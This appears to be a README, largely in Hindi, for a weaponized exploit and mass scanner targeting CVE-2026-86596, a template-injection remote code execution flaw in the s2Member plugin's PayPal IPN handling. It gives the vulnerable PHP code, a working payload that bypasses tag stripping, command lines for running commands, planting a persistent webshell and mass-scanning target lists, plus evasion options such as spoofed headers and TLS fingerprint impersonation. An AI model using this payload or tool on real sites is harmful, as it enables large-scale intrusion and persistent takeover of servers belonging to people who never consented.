
CVE-2026-86596 के लिए सिंगल-फ़ाइल एक्सप्लॉइट और मास स्कैनर, जो PayPal IPN के item_name पैरामीटर के माध्यम से s2Member टेम्पलेट-इंजेक्शन RCE है, जिसमें बायपास वेरिएंट और वेबशेल डिप्लॉयमेंट शामिल हैं।
CVSS 9.8 | CVE-2026-86596 | पैच: 261001+
item_name IPN पैरामीटर के माध्यम से s2Member टेम्पलेट इंजेक्शन के लिए एकल-फ़ाइल हथियारीकृत एक्सप्लॉइट और स्कैनर।
$paypal = strip_php_tags_deep($paypal); // Only strips literal '<?'
$msg = preg_replace('/%%item_name%%/i', esc_refs($paypal['item_name']), $msg);
$msg = trim(preg_replace('/%%(.+?)%%/i', '', $msg)); // Removes %%x%% -> reassembles <?php
पेलोड: <%%x%%?php system('id'); ?> → strip_php_tags_deep को बायपास करता है, प्लेसहोल्डर सफ़ाई के बाद मान्य <?php में पुनः संयोजित हो जाता है।
# Single target RCE
python3 poc.py target.com --cmd "id" --authorized
# Persistent webshell (access: /shell.php?pass=cmd)
python3 poc.py target.com --cmd "shell:mysecret" --authorized --deploy-shell
# Full bypass matrix (all variants)
python3 poc.py target.com --cmd "id" --authorized --full-bypass
# Mass scan with recon
python3 poc.py targets.txt --scan --threads 30 --recon
# Scan + exploit
python3 poc.py targets.txt --scan --exploit --cmd "id" --authorized --output results.json
| फ़्लैग | विवरण |
|---|---|
--cmd "id" | निष्पादित करने के लिए कमांड (या webshell के लिए shell:pass) |
--scan | मास स्कैन मोड (फ़ाइल से लक्ष्य पढ़ें) |
--exploit | स्कैन के दौरान एक्सप्लॉइट का प्रयास करें |
--authorized | किसी भी एक्सप्लॉइट क्रिया के लिए आवश्यक |
--recon | एक्सप्लॉइट से पहले पूर्ण टोही |
--item-number | विशिष्ट item_number (डिफ़ॉल्ट: स्वतः-खोज) |
--proxy-verification | s2member_paypal_proxy_verification कुंजी |
--write-test | कमांड निष्पादित करने के बजाय परीक्षण फ़ाइल लिखें |
--deploy-shell | स्थायी webshell तैनात करें |
--shell-path | Webshell फ़ाइल नाम (डिफ़ॉल्ट: shell.php) |
--full-bypass | सभी बायपास वेरिएंट आज़माएँ (धीमा) |
--no-evasion | सभी बायपास प्रयास अक्षम करें |
--threads N | स्कैन थ्रेड्स (डिफ़ॉल्ट: 15) |
--output file | JSON/CSV आउटपुट करें |
--http-proxy | HTTP(S) प्रॉक्सी |
--impersonate | TLS फ़िंगरप्रिंट: chrome/firefox/safari/edge |
--insecure | TLS सत्यापन अक्षम करें |
--verbose | विस्तृत आउटपुट |
| परत | वेरिएंट |
|---|---|
| पेलोड | 10: raw, urlenc, b64, concat, var-func, assert, preg_replace/e, create_function, shortcode, shortcode+b64 |
| राइट | 4: file_put_contents, fopen/fwrite, shell_exec, b64_decode |
| शेल | 5: eval, system, assert, b64_eval, shortcode |
| अनुरोध | 5: form, multipart, dup, multipart-dup, JSON |
| हेडर | 7: XFF spoof, PayPal referer/origin, IPN headers, cluster |
| TLS | 4: chrome, firefox, safari, edge (curl_cffi) |
item_number (संरक्षित पोस्ट/पेज ID)do_shortcode() / [s2If php=...]/root/labv/
├── poc.py # Single weaponized exploit + scanner (384 lines)
├── README.md # This file
└── targets.txt # Example target list
केवल अधिकृत परीक्षण के लिए। --authorized फ़्लैग लिखित अनुमति की पुष्टि करता है।